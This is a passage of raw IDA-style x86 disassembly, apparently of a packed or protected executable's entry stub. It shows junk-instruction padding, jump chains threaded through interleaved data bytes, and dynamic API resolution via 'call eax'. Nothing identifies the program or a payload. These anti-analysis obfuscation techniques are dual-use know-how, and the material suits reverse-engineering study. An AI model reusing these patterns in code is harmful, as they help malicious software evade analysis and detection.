		js	short loc_405726
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h, 0C043F2FDh
		db 0F9h, 3Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4056EE:				; CODE XREF: start-CB7j
		jmp	short loc_4056C6
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 4AB5EC9Fh, 1631D8BBh, 0A26D8497h, 0EE69F033h
		db 8Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_405701:				; CODE XREF: start:loc_4056C6j
					; start:loc_406385j
		mov	edx, [ebp+0Ch]
		jmp	short loc_405722
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 0C6A1h
		dd 52DDB487h
		db 23h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_40570D:				; CODE XREF: start:loc_405722j
		jmp	short loc_405739
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 20h
		dd 4C7F9ED9h, 389BAA95h, 0E4777611h, 5013024Dh
; ---------------------------------------------------------------------------
		dec	ecx
		dec	esi
; START	OF FUNCTION CHUNK FOR start


loc_405722:				; CODE XREF: start-C74j
		jmp	short loc_40570D
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 6Fh,	7Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_405726:				; CODE XREF: .text:004056D3j
					; start:loc_405739j
		jmp	short loc_405758
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 688B5A05h, 14672681h, 8003B2BDh, 0AC5FFEB9h
		db 75h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_405739:				; CODE XREF: start:loc_40570Dj
		jmp	short loc_405726
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0Ah
		dd 0D6F1987Bh, 622D4457h, 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh
		dd 129D7447h, 5E99E0E3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_405758:				; CODE XREF: start:loc_405726j
		mov	eax, [esi]
		push	ecx
		push	eax
		xor	eax, esi
		lea	ecx, ds:84AFDAh
		xchg	eax, eax
		mov	ecx, 80C81Ah
		mov	cx, 4947h
		cld
		pop	eax
		pop	ecx
		test	eax, eax
		jnz	loc_4057D5
		push	ebx
		push	edi
		xchg	edi, edi
		xchg	edi, edi
		xor	edi, esi
		test	eax, edx
		xchg	edi, ebx
		shl	ebx, 98h
		push	ebx
		pop	edi
		dec	edi
		clc
		xor	ebx, edi
		cld
		pop	edi
		pop	ebx
		mov	eax, [esi+10h]
		jmp	short loc_4057C2
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 36h
; ---------------------------------------------------------------------------
		aaa
		movsb
; START	OF FUNCTION CHUNK FOR start


loc_40579A:				; CODE XREF: start:loc_4057C2j
		jmp	short loc_4057D5
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 10D3C20Dh, 3C2F0E09h, 284B1AC5h, 0D427E641h,	40C3727Dh
		dd 6C1FBE79h, 583BCA35h, 41796B1h, 70B322EDh
		db 0E9h, 6Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4057C2:				; CODE XREF: start-BE3j
		jmp	short loc_40579A
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		setl	byte ptr [ebp+21882B7Ah]
		inc	esi
		pop	es
		xor	al, 5Dh
		shl	byte ptr [ebx-0E1A660h], cl
; START	OF FUNCTION CHUNK FOR start


loc_4057D5:				; CODE XREF: start-C04j
					; start:loc_40579Aj
		add	eax, edx
		push	esi
		push	edi
		xor	edi, eax
		mov	si, 4948h
		mov	esi, edx
		lea	esi, ds:8088DAh
		inc	esi
		cld
		pop	edi
		pop	esi
		add	eax, [ebp-8]
		jmp	short loc_40581A
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh
		db 0Bh,	0E8h, 1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4057FF:				; CODE XREF: start:loc_40581Aj
		jmp	short loc_405831
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0A6h, 0E7h, 94h
		dd 83323Dh, 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh
		db 0A9h, 2Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_40581A:				; CODE XREF: start-B8Aj
		jmp	short loc_4057FF
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 3A655CCFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_405820:				; CODE XREF: start:loc_405831j
		jmp	short loc_405850
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		jmp	short loc_40586C
; ---------------------------------------------------------------------------
		dd 0F4C706E1h, 6063921Dh, 8CBFDE19h
		db 0D5h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_405831:				; CODE XREF: start:loc_4057FFj
		jmp	short loc_405820
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0EAh
; ---------------------------------------------------------------------------
		fstp	tbyte ptr [eax+51h]
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h, 3EF9C043h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_405850:				; CODE XREF: start:loc_405820j
		mov	ebx, [eax]
		jmp	short loc_405883
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		fdiv	dword ptr [ecx]
		push	ss
; START	OF FUNCTION CHUNK FOR start


loc_405857:				; CODE XREF: start:loc_405883j
		jmp	short loc_405896
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		xchg	eax, edi
		test	[ebp-5Eh], ch
		xor	esi, eax
		imul	ebp, esi, 0FA251C8Fh
		stosd
		or	[ecx-224B783Ah], ah


loc_40586C:				; CODE XREF: .text:00405822j
		push	edx
		and	esp, [eax]
		fstp	dword ptr [esi-556AB381h]
		wait
		cmp	[ecx], dl
		jbe	short loc_4058F1
		in	al, 4Dh
		add	dl, [ebx]
		push	eax
		dec	ecx
		dec	esi
		outsd
; ---------------------------------------------------------------------------
		db 7Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_405883:				; CODE XREF: start-B26j
		jmp	short loc_405857
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 5, 5Ah, 8Bh
		dd 67268168h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_40588C:				; CODE XREF: start:loc_405896j
		jmp	short loc_4058B9
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 0BD14h
		dd 0B98003B2h
		db 0FEh, 5Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_405896:				; CODE XREF: start:loc_405857j
		jmp	short loc_40588C
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 7B0A75ACh, 57D6F198h, 0F3622D44h, 4FAE29B0h,	6BBAE5DCh
		dd 478661C8h, 0E3129D74h, 3F5E99E0h
		db 0Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4058B9:				; CODE XREF: start:loc_40588Cj
		mov	edi, [esi+10h]
		jmp	short loc_4058EB
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		clc
		sal	dword ptr [esi], 1
; START	OF FUNCTION CHUNK FOR start


loc_4058C1:				; CODE XREF: start:loc_4058EBj
		jmp	short loc_4058FE
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 37h
		dd 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch, 27E64128h,	0C3727DD4h
		dd 1FBE7940h, 3BCA356Ch, 1796B158h, 0B322ED04h
		db 70h,	0E9h, 6Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4058EB:				; CODE XREF: start-ABCj
		jmp	short loc_4058C1
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0Fh,	9Ch, 0A5h
		db 7Ah
; ---------------------------------------------------------------------------


loc_4058F1:				; CODE XREF: .text:00405878j
		sub	ecx, [eax+34074621h]
		pop	ebp
		shl	byte ptr [ebx-0E1A660h], cl
; START	OF FUNCTION CHUNK FOR start


loc_4058FE:				; CODE XREF: start:loc_4058C1j
		add	edi, edx
		push	esi
		push	edi
		cmp	esi, 0C09A38h
		dec	esi
		cld
		pop	edi
		pop	esi
		add	edi, [ebp-8]
		jmp	short loc_40593B
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 91h,	0F6h, 0F7h
		dd 9382CD64h, 0EFCEC9D0h, 0BDA85FCh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_405920:				; CODE XREF: start:loc_40593Bj
		jmp	short loc_405952
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 1E8h
		dd 3D94E7A6h, 39008332h, 0F52CDF7Eh, 7118FB8Ah,	0ADC4D756h
		db 0E2h, 73h, 30h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_40593B:				; CODE XREF: start-A69j
		jmp	short loc_405920
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0A9h, 2Eh, 0CFh
		dd 0EB3A655Ch, 0C706E148h, 63921DF4h, 0BFDE1960h
; ---------------------------------------------------------------------------
		mov	ebp, ss
; START	OF FUNCTION CHUNK FOR start


loc_405952:				; CODE XREF: start:loc_405920j
		test	ebx, ebx
		jz	loc_406392
		push	ebx
		push	esi
		mov	ebx, edi
		xchg	esi, ebx
		mov	ebx, edi
		inc	esi
		cld
		pop	esi
		pop	ebx
		test	ebx, 80000000h
		jnz	near ptr sub_405A52
		push	edi
		push	ecx
		xchg	edi, ecx
		jz	loc_40597E
		not	edi


loc_40597E:				; CODE XREF: start-A02j
		lea	ecx, ds:80899Ah
		push	eax
		pop	ecx
		dec	ecx
		cld
		pop	ecx
		pop	edi
		add	ebx, edx
		jmp	short loc_4059BC
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 428Dh
		dd 8E899053h
; ---------------------------------------------------------------------------
		scasd
; START	OF FUNCTION CHUNK FOR start


loc_405995:				; CODE XREF: start:loc_4059BCj
		jmp	short loc_4059CD
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0BCh
		dd 0A8CB9A45h, 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h
		dd 84971631h, 0F033A26Dh, 1C8FEE69h, 8ABFA25h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4059BC:				; CODE XREF: start-9ECj
		jmp	short loc_405995
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		mov	eax, ds:0DDB487C6h
		push	edx
		and	esp, [eax]
		fstp	dword ptr [esi-556AB381h]
		wait
; START	OF FUNCTION CHUNK FOR start


loc_4059CD:				; CODE XREF: start:loc_405995j
		inc	ebx
		push	eax
		push	ecx
		xor	eax, edi
		mov	cx, 4E52h
		repne sbb ecx, 80AE9Ah
		test	ecx, ebp
		push	ebx
		pop	ecx
		cmp	ah, ah
		mov	ecx, edi
		inc	ecx
		inc	ecx
		cld
		pop	ecx
		pop	eax
		inc	ebx
		jmp	short loc_405A1B
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 49h,	4Eh, 6Fh
		dd 8B5A057Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4059F4:				; CODE XREF: start:loc_405A1Bj
		jmp	short loc_405A2B
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 8168h
		dd 0BD146726h, 0B98003B2h, 75AC5FFEh, 0F1987B0Ah, 2D4457D6h
		dd 29B0F362h, 0E5DC4FAEh, 61C86BBAh
; ---------------------------------------------------------------------------
		xchg	al, [edi+74h]
; START	OF FUNCTION CHUNK FOR start


loc_405A1B:				; CODE XREF: start-98Dj
		jmp	short loc_4059F4
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		popf
		adc	ah, bl
; START	OF FUNCTION CHUNK FOR start


loc_405A20:				; CODE XREF: start:loc_405A2Bj
		jmp	short near ptr sub_405A52
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 99E0h
; ---------------------------------------------------------------------------
		pop	esi
		aas
		or	al, 55h
		push	5Bh
		clc
; START	OF FUNCTION CHUNK FOR start


loc_405A2B:				; CODE XREF: start:loc_4059F4j
		jmp	short loc_405A20
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0D1h, 36h, 37h
		dd 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch, 27E64128h,	0C3727DD4h
		dd 1FBE7940h, 3BCA356Ch, 1796B158h
; ---------------------------------------------------------------------------
		add	al, 0EDh

; =============== S U B	R O U T	I N E =======================================



sub_405A52	proc far		; CODE XREF: start-A0Cj
					; start:loc_405A20j

; FUNCTION CHUNK AT 0040636B SIZE 00000007 BYTES

		push	ebx
		jmp	short loc_405A77
; ---------------------------------------------------------------------------
		setl	byte ptr [ebp+21882B7Ah]


loc_405A5C:				; CODE XREF: sub_405A52:loc_405A77j
		jmp	short loc_405A8E
; ---------------------------------------------------------------------------
		dw 746h
		dd 0A3D25D34h, 0FF1E59A0h, 1B2A15CCh, 0F7F691B8h, 9382CD64h
		db 0D0h, 0C9h, 0CEh
; ---------------------------------------------------------------------------


loc_405A77:				; CODE XREF: sub_405A52+1j
		jmp	short loc_405A5C
; ---------------------------------------------------------------------------
		db 0EFh, 0FCh, 85h
		db 0DAh
; ---------------------------------------------------------------------------


loc_405A7D:				; CODE XREF: sub_405A52:loc_405A8Ej
		jmp	short loc_405AAD
; ---------------------------------------------------------------------------
		db 0Bh
		dd 0E7A601E8h, 83323D94h, 0DF7E3900h
; ---------------------------------------------------------------------------
		sub	al, 0F5h


loc_405A8E:				; CODE XREF: sub_405A52:loc_405A5Cj
		jmp	short loc_405A7D
; ---------------------------------------------------------------------------
		dd 7118FB8Ah, 0ADC4D756h, 0A93073E2h, 655CCF2Eh, 0E148EB3Ah
		dd 1DF4C706h, 19606392h
		db 0DEh
; ---------------------------------------------------------------------------


loc_405AAD:				; CODE XREF: sub_405A52:loc_405A7Dj
		and	ebx, 7FFFFFFFh
		push	edi
		push	ebx
		xor	edi, 80A39Ah
		push	edx
		pop	ebx
		clc
		push	edi
		pop	edi
		cmp	al, 0D1h
		cmp	al, 0DFh
		cld
		pop	ebx
		pop	edi
		push	ebx
		push	esi
		push	ebx
		dec	ebx
		neg	ebx
		cld
		pop	ebx
		pop	esi
		push	dword ptr [ebp-4]
		jmp	short loc_405B00
; ---------------------------------------------------------------------------
		db 0B6h, 0B7h, 24h
; ---------------------------------------------------------------------------


loc_405AD8:				; CODE XREF: sub_405A52:loc_405B00j
		jmp	short loc_405B13
; ---------------------------------------------------------------------------
		lea	eax, [edx+53h]
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh, 1631D8BBh,	0A26D8497h
		dd 0EE69F033h
; ---------------------------------------------------------------------------


loc_405B00:				; CODE XREF: sub_405A52+81j
		jmp	short loc_405AD8
; ---------------------------------------------------------------------------
		dw 1C8Fh
		dd 8ABFA25h, 0B487C6A1h, 202352DDh
		db 0D9h, 9Eh, 7Fh
; ---------------------------------------------------------------------------


loc_405B13:				; CODE XREF: sub_405A52:loc_405AD8j
		push	1FC0EAEEh
		jmp	short loc_405B46
; ---------------------------------------------------------------------------
		dw 1302h
		dd 6F4E4950h
		db 7Ch
; ---------------------------------------------------------------------------


loc_405B21:				; CODE XREF: sub_405A52:loc_405B46j
		jmp	short loc_405B56
; ---------------------------------------------------------------------------
		db 5
		dd 81688B5Ah, 0BD146726h, 0B98003B2h, 75AC5FFEh, 0F1987B0Ah
		dd 2D4457D6h, 29B0F362h, 0E5DC4FAEh
		db 0BAh, 6Bh
; ---------------------------------------------------------------------------


loc_405B46:				; CODE XREF: sub_405A52+C6j
		jmp	short loc_405B21
; ---------------------------------------------------------------------------
		dd 478661C8h
		db 74h,	9Dh
; ---------------------------------------------------------------------------


loc_405B4E:				; CODE XREF: sub_405A52:loc_405B56j
		jmp	short loc_405B7E
; ---------------------------------------------------------------------------
		dd 99E0E312h
; ---------------------------------------------------------------------------
		pop	esi
		aas


loc_405B56:				; CODE XREF: sub_405A52:loc_405B21j
		jmp	short loc_405B4E
; ---------------------------------------------------------------------------
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1


loc_405B5F:				; CODE XREF: sub_405A52:loc_405B7Ej
		jmp	short loc_405B8E
; ---------------------------------------------------------------------------
		db 37h,	0A4h, 0Dh
; ---------------------------------------------------------------------------
		retn	10D3h
; ---------------------------------------------------------------------------
		db 9
		dd 0C53C2F0Eh, 41284B1Ah, 7DD427E6h, 7940C372h,	356C1FBEh
		db 0CAh, 3Bh
; ---------------------------------------------------------------------------


loc_405B7E:				; CODE XREF: sub_405A52:loc_405B4Ej
		jmp	short loc_405B5F
; ---------------------------------------------------------------------------
		pop	eax
		mov	cl, 96h
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf
		movsd


loc_405B8E:				; CODE XREF: sub_405A52:loc_405B5Fj
		push	dword ptr [ebp+10h]
		jmp	short loc_405BBD
; ---------------------------------------------------------------------------
		db 0A3h
		dd 0FF1E59A0h
		db 0CCh
		db 15h
; ---------------------------------------------------------------------------


loc_405B9A:				; CODE XREF: sub_405A52:loc_405BBDj
		jmp	short loc_405BCE
; ---------------------------------------------------------------------------
		dd 91B81B2Ah, 0CD64F7F6h, 0C9D09382h, 85FCEFCEh, 1E80BDAh
		dd 3D94E7A6h, 39008332h, 0F52CDF7Eh
		db 8Ah
; ---------------------------------------------------------------------------


loc_405BBD:				; CODE XREF: sub_405A52+13Fj
		jmp	short loc_405B9A
; ---------------------------------------------------------------------------
		db 0FBh
		dd 0D7567118h, 73E2ADC4h, 0CF2EA930h
		db 5Ch,	65h
; ---------------------------------------------------------------------------


loc_405BCE:				; CODE XREF: sub_405A52:loc_405B9Aj
		call	near ptr sub_4048A4
		push	edi
		push	eax
		not	edi
		cmp	bh, dh
		or	eax, 80C81Ah
		xor	eax, ebx
		xor	edi, ebp
		rep cld
		pop	eax
		pop	edi
		call	eax
		jmp	short loc_405C1B
; ---------------------------------------------------------------------------
		db 0C7h
		dd 63921DF4h
		db 60h,	19h
; ---------------------------------------------------------------------------


loc_405BF2:				; CODE XREF: sub_405A52:loc_405C1Bj
		jmp	short loc_405C32
; ---------------------------------------------------------------------------
		fidivr	word ptr [edi-24152A74h]
		js	short loc_405C4D
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dw 0C1A8h
		dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh
		db 4Ah,	0BBh, 0D8h
; ---------------------------------------------------------------------------


loc_405C1B:				; CODE XREF: sub_405A52+197j
		jmp	short loc_405BF2
; ---------------------------------------------------------------------------
		xor	[esi], edx
		xchg	eax, edi
		test	[ebp-5Eh], ch
		xor	esi, eax
		imul	ebp, esi, 0FA251C8Fh
		stosd
		or	[ecx-224B783Ah], ah


loc_405C32:				; CODE XREF: sub_405A52:loc_405BF2j
		pop	ebx
		jmp	short loc_405C5F
; ---------------------------------------------------------------------------
		db 9Eh,	7Fh, 4Ch
		dd 389BAA95h
; ---------------------------------------------------------------------------


loc_405C3C:				; CODE XREF: sub_405A52:loc_405C5Fj
		jmp	short loc_405C6F
; ---------------------------------------------------------------------------
		dw 7611h
		dd 24DE477h, 4E495013h,	5A057C6Fh
		db 8Bh
; ---------------------------------------------------------------------------


loc_405C4D:				; CODE XREF: sub_405A52+1A8j
		push	14672681h
		mov	ebp, 0B98003B2h
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0A75AC5Fh
		db 7Bh,	98h, 0F1h
; ---------------------------------------------------------------------------


loc_405C5F:				; CODE XREF: sub_405A52+1E1j
		jmp	short loc_405C3C
; ---------------------------------------------------------------------------
		db 0D6h, 57h, 44h
		dd 0B0F3622Dh, 0DC4FAE29h
		db 0E5h, 0BAh, 6Bh
; ---------------------------------------------------------------------------


loc_405C6F:				; CODE XREF: sub_405A52:loc_405C3Cj
		test	eax, eax
		jnz	loc_406292
		jmp	short loc_405CA9
; ---------------------------------------------------------------------------
		db 47h,	74h, 9Dh
		dd 99E0E312h
; ---------------------------------------------------------------------------


loc_405C80:				; CODE XREF: sub_405A52:loc_405CA9j
		jmp	short loc_405CC0
; ---------------------------------------------------------------------------
		dw 3F5Eh
		dd 5B6A550Ch, 3736D1F8h, 0D3C20DA4h, 2F0E0910h,	4B1AC53Ch
		dd 27E64128h, 0C3727DD4h, 1FBE7940h, 3BCA356Ch
; ---------------------------------------------------------------------------
		pop	eax


loc_405CA9:				; CODE XREF: sub_405A52+225j
		jmp	short loc_405C80
; ---------------------------------------------------------------------------
		db 0B1h
		dd 0ED041796h, 0E970B322h, 0A59C0F6Eh, 21882B7Ah, 5D340746h
; ---------------------------------------------------------------------------


loc_405CC0:				; CODE XREF: sub_405A52:loc_405C80j
		test	ebx, 80000000h
		jnz	loc_405DCA
		jmp	short loc_405CF8
; ---------------------------------------------------------------------------
		dw 0FF1Eh
		db 0CCh
		db 15h,	2Ah, 1Bh
		db 0B8h
; ---------------------------------------------------------------------------


loc_405CD5:				; CODE XREF: sub_405A52:loc_405CF8j
		jmp	short loc_405D08
; ---------------------------------------------------------------------------
		db 91h
		dd 0CD64F7F6h, 0C9D09382h, 85FCEFCEh, 1E80BDAh,	3D94E7A6h
		dd 39008332h, 0F52CDF7Eh, 7118FB8Ah
; ---------------------------------------------------------------------------


loc_405CF8:				; CODE XREF: sub_405A52+27Aj
		jmp	short loc_405CD5
; ---------------------------------------------------------------------------
		dw 0D756h
		dd 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch
; ---------------------------------------------------------------------------


loc_405D08:				; CODE XREF: sub_405A52:loc_405CD5j
		push	95902B19h
		push	edx
		push	eax
		test	cl, al
		dec	edx
		cld
		pop	eax
		pop	edx
		push	dword ptr [ebp+10h]
		jmp	short loc_405D49
; ---------------------------------------------------------------------------
		dw 6392h
; ---------------------------------------------------------------------------
		pusha


loc_405D1D:				; CODE XREF: sub_405A52:loc_405D49j
		jmp	short loc_405D63
; ---------------------------------------------------------------------------
		db 19h
		dd 0D58CBFDEh, 5178DBEAh, 8D24B7B6h, 89905342h,	45BCAF8Eh
		dd 0C1A8CB9Ah, 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah
; ---------------------------------------------------------------------------
		push	ss


loc_405D49:				; CODE XREF: sub_405A52+2C6j
		jmp	short loc_405D1D
; ---------------------------------------------------------------------------
		db 97h
		dd 33A26D84h, 8FEE69F0h, 0ABFA251Ch, 87C6A108h,	2352DDB4h
; ---------------------------------------------------------------------------
		and	cl, bl
		sahf


loc_405D63:				; CODE XREF: sub_405A52:loc_405D1Dj
		call	near ptr sub_4048A4
		push	ecx
		push	edx
		mov	edx, 8087DAh
		mov	dx, 49A1h
		not	ecx
		cld
		pop	edx
		pop	ecx
		push	0
		jmp	short loc_405DA9
; ---------------------------------------------------------------------------
		db 38h,	11h, 76h
; ---------------------------------------------------------------------------


loc_405D7F:				; CODE XREF: sub_405A52:loc_405DA9j
		jmp	short loc_405DBC
; ---------------------------------------------------------------------------
		db 77h,	0E4h, 4Dh
		dd 49501302h, 57C6F4Eh,	81688B5Ah, 0BD146726h, 0B98003B2h
		dd 75AC5FFEh, 0F1987B0Ah, 2D4457D6h, 29B0F362h
; ---------------------------------------------------------------------------
		scasb


loc_405DA9:				; CODE XREF: sub_405A52+328j
		jmp	short loc_405D7F
; ---------------------------------------------------------------------------
		db 4Fh
		dd 6BBAE5DCh, 478661C8h, 0E3129D74h, 3F5E99E0h
; ---------------------------------------------------------------------------


loc_405DBC:				; CODE XREF: sub_405A52:loc_405D7Fj
		call	eax
		push	eax
		push	ebx
		cmp	ah, al
		not	eax
		xor	eax, eax
		dec	ebx
		cld
		pop	ebx
		pop	eax


loc_405DCA:				; CODE XREF: sub_405A52+274j
		and	ebx, 7FFFFFFFh
		jmp	short loc_405DFC
; ---------------------------------------------------------------------------
		movsb
		or	eax, 910D3C2h
		push	cs


loc_405DD9:				; CODE XREF: sub_405A52:loc_405DFCj
		jmp	short loc_405E0C
; ---------------------------------------------------------------------------
		db 2Fh
		dd 4B1AC53Ch, 27E64128h, 0C3727DD4h, 1FBE7940h,	3BCA356Ch
		dd 1796B158h, 0B322ED04h, 0F6EE970h
; ---------------------------------------------------------------------------


loc_405DFC:				; CODE XREF: sub_405A52+37Ej
		jmp	short loc_405DD9
; ---------------------------------------------------------------------------


loc_405DFE:				; CODE XREF: sub_405A52:loc_405E0Cj
		jmp	short loc_405E2F
; ---------------------------------------------------------------------------
		dd 2B7AA59Ch, 7462188h,	0A3D25D34h
; ---------------------------------------------------------------------------


loc_405E0C:				; CODE XREF: sub_405A52:loc_405DD9j
		jmp	short loc_405DFE
; ---------------------------------------------------------------------------
		dw 59A0h
		dd 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h, 0C9D09382h, 85FCEFCEh
		dd 1E80BDAh, 3D94E7A6h
		db 32h,	83h, 0
; ---------------------------------------------------------------------------


loc_405E2F:				; CODE XREF: sub_405A52:loc_405DFEj
		mov	eax, [ebp+426h]
		push	ebx
		push	eax
		push	ebx
		pop	ebx
		clc
		cld
		pop	eax
		pop	ebx
		cmp	[ebp-4], eax
		jnz	loc_4060BC
		push	ecx
		push	ebx
		cmp	al, 0E8h
		cmp	al, 0FDh
		lea	ecx, ds:808A9Ah
		repne cld
		pop	ebx
		pop	ecx
		push	edi
		push	esi
		push	ebx
		test	cl, al
		mov	si, 48FDh
		lea	esi, ds:81881Ah
		add	esi, 808F5Ah
		mov	si, 494Ah
		repne cld
		pop	ebx
		pop	esi
		mov	edx, ebx
		push	esi
		push	eax
		shr	esi, 0C8h
		cmp	ah, ch
		test	eax, ebp
		cmp	esp, eax
		xor	esi, eax
		cld
		pop	eax
		pop	esi
		dec	edx
		jmp	short loc_405EB1
; ---------------------------------------------------------------------------
		db 30h,	0A9h, 2Eh
; ---------------------------------------------------------------------------


loc_405E8B:				; CODE XREF: sub_405A52:loc_405EB1j
		jmp	short loc_405EC4
; ---------------------------------------------------------------------------
		db 0CFh, 5Ch, 65h
		dd 0E148EB3Ah, 1DF4C706h, 19606392h, 0D58CBFDEh, 5178DBEAh
		dd 8D24B7B6h, 89905342h, 45BCAF8Eh
		db 9Ah
; ---------------------------------------------------------------------------


loc_405EB1:				; CODE XREF: sub_405A52+434j
		jmp	short loc_405E8B
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h
		cmpsw


loc_405EB8:				; CODE XREF: sub_405A52:loc_405EC4j
		jmp	short loc_405EE7
; ---------------------------------------------------------------------------
		dw 0FD54h
		dd 0F9C043F2h, 0B5EC9F3Eh
; ---------------------------------------------------------------------------


loc_405EC4:				; CODE XREF: sub_405A52:loc_405E8Bj
		jmp	short loc_405EB8
; ---------------------------------------------------------------------------
		dw 0BB4Ah
		dd 971631D8h
		db 84h
; ---------------------------------------------------------------------------


loc_405ECD:				; CODE XREF: sub_405A52:loc_405EE7j
		jmp	short loc_405EFA
; ---------------------------------------------------------------------------
		db 6Dh
		dd 69F033A2h, 251C8FEEh, 0A108ABFAh, 0DDB487C6h, 0D9202352h
; ---------------------------------------------------------------------------
		sahf
		jg	short loc_405F33


loc_405EE7:				; CODE XREF: sub_405A52:loc_405EB8j
		jmp	short loc_405ECD
; ---------------------------------------------------------------------------
		db 95h,	0AAh, 9Bh
		dd 77761138h, 13024DE4h, 6F4E4950h
; ---------------------------------------------------------------------------
		jl	short loc_405EFF


loc_405EFA:				; CODE XREF: sub_405A52:loc_405ECDj
		shl	edx, 2
		push	edx
		push	ecx


loc_405EFF:				; CODE XREF: sub_405A52+4A6j
		xchg	ecx, edx
		mov	dx, 48F6h
		ror	edx, 4Ah
		test	ecx, ebx
		cld
		pop	ecx
		pop	edx
		mov	ebx, [ebp-4]
		jmp	short loc_405F3B
; ---------------------------------------------------------------------------
		dw 0B980h
		db 0FEh
; ---------------------------------------------------------------------------


loc_405F15:				; CODE XREF: sub_405A52:loc_405F33j
					; sub_405A52:loc_405F3Bj
		jmp	short loc_405F4E
; ---------------------------------------------------------------------------
		db 5Fh
		dd 7B0A75ACh, 57D6F198h, 0F3622D44h, 4FAE29B0h,	6BBAE5DCh
		dd 478661C8h
		db 74h,	9Dh, 12h
; ---------------------------------------------------------------------------


